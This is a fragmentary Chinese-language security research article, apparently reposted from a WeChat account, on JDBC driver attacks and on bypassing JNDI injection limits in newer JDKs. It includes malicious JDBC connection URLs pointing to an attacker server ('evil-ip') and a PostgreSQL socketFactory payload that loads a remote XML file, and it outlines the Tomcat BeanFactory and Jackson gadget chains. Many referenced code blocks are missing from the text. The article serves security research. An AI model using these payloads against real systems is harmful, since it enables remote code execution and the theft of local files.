二、关于 JDBC Attack
三、关于 JNDI 注入
四、使用JDBC Attack扩展JNDI注入攻击面
五、总 结
接下来我们来回顾一下常见的几个 Driver 的利用。
MySQL fake server
,然后开启 allowLoadLocalInfile=true
设置,构造形如 jdbc:mysql://evil-ip:3306/test?allowLoadLocalInfile=true
的 URL 去请求 fake server 即可进行利用。
对于 MySQL 也可以打反序列化,但是有版本限制,只有较老的 <= 8.0.20, < 5.1.49 的版本可以利用,可以配置不同的 URL 参数来开启反序列化的利用,下表是节选自《Make JDBC attack brilliant again》议题的具体利用 URL 参数。
9.4.1208 <= PgJDBC < 42.2.25
与 42.3.0 <= PgJDBC < 42.3.2
。
这个洞可以利用 socketFactory
和 socketFactoryArg
来传入一个类并实例化,然后其构造参数是可控的,我们可以寻找到 spring 框架中的如下两个类来进行利用。
jdbc:postgresql://node/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1/test.xml
的payload 来引入恶意的 xml 文件进行利用。
xml
文件的内容如下:
javac
网上流传的 Poc 为:
poc.sql
的内容为:
不过这里有个 trick,实际上多进行几次转义,这里的 init 可以塞进两条语句,如下所示,实际上不出网也可以实现利用。
利用的 payload 如下:
Groovy
利用的 payload 如下:
对于 JNDI 注入,首先一个基本的认知是,在 8u191 之后,高版本 JDK codebase 为 true,因此客户端默认不会请求远程 Server上的恶意 Class,因此在存在 JNDI 注入的情况下,也无法直接加载 Class 来 RCE。
然后针对这个问题,有两种常见的绕过方式,分别是服务端返回序列化 Payload,触发客户端的本地 Gadget;以及构造返回的 Reference
对象,将其指向我们本地 classpath
中存在的类,并通过寻找合适的 Factory 类来构造 Payload 实现 RCE。
后者有一种常见的思路是利用 org.apache.naming.factory.BeanFactory
这个类来实现利用。其 getObjectInstance
方法可以反射实例化 Reference 所指向的任意 Bean Class,并且会调用 setter
方法为所有的属性赋值,而它有一个 forceString
参数,可以将任意一个方法指定成一个 setter,那么在这些参数都可控的情况下,我们就有了一个任意静态方法调用,那么就可以在使用 tomcat 8 之后都携带的 javax.el.ELProcessor
来 RCE,这个也叫做 Tomcat Bypass。
但是去年有一天在实战中发现这个打不通了,搜报错搜了半天网上也没啥文章说这事。后来搜到了官方的一个 <a ""="" class="weapp_text_link js_weapp_entry" href="">Bug Report,然后发现经过一番讨论之后 forceString
这个特性已经被删了:
这条链主要利用了 Jackson 的一个特性,那就是 Jackson 里的 POJONode
类有着跟 Fastjson 的 JSONObject
类差不多的性质,在 toString 时会触发对象类中的 getter 方法,那么也就可以用打 Fastjson 常用的 TemplatesImpl
的 getOutputProperties
链。
但是这条链有一个问题,在 Jackson 依次触发 getter 时,其获取所有 getter 的顺序是使用 java 的 getDeclaredMethods
方法,而根据 Java 官方文档,这个方法获取的顺序是不确定的,如果获取到非预期的 getter 就会直接报错退出了。
这时候就可以考虑通过 JDBC Attack 来实现,我们回顾刚才的链,jackson 的链可以触发任意 getter,而 JDBC 中 getConnection 是 JDBC Attack 的触发点,那么就可以将 JDBC 与原生反序列化结合起来,先打 Jackson 链,然后去触发后续的 JDBC Attack。
HotSwappableTargetSource
与 XString
的利用,也是由于高版本 JDK 不支持 BadAttributeValueExpException
而做出的替换,该利用是可以在高版本 JDK 直接使用的。
POJONode
的参数的 dataSource
替换为如下代码:
dataSource
的 URL 来进行请求。
POJONode
的参数的 dataSource
替换为如下代码:
在高版本 JDK 的 JNDI 注入中,我们无法像低版本的 JDK 一样直接进行利用,需要寻找目标本地依赖的攻击面,根据不同的目标进行具体的利用,JDBC 中的 getter 利用是可行的选择之一。
2. <a ""="" class="weapp_text_link js_weapp_entry" href="">Deserial Sink With JDBC
3. <a ""="" class="weapp_text_link js_weapp_entry" href="">Make JDBC Attack Brilliant Again
未经作者同意,不得转载
天工实验室安全研究员
研究领域:Web安全、静态分析。
原文始发于微信公众号(破壳平台):JDBC Attack与高版本JDK下的JNDI Bypass
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论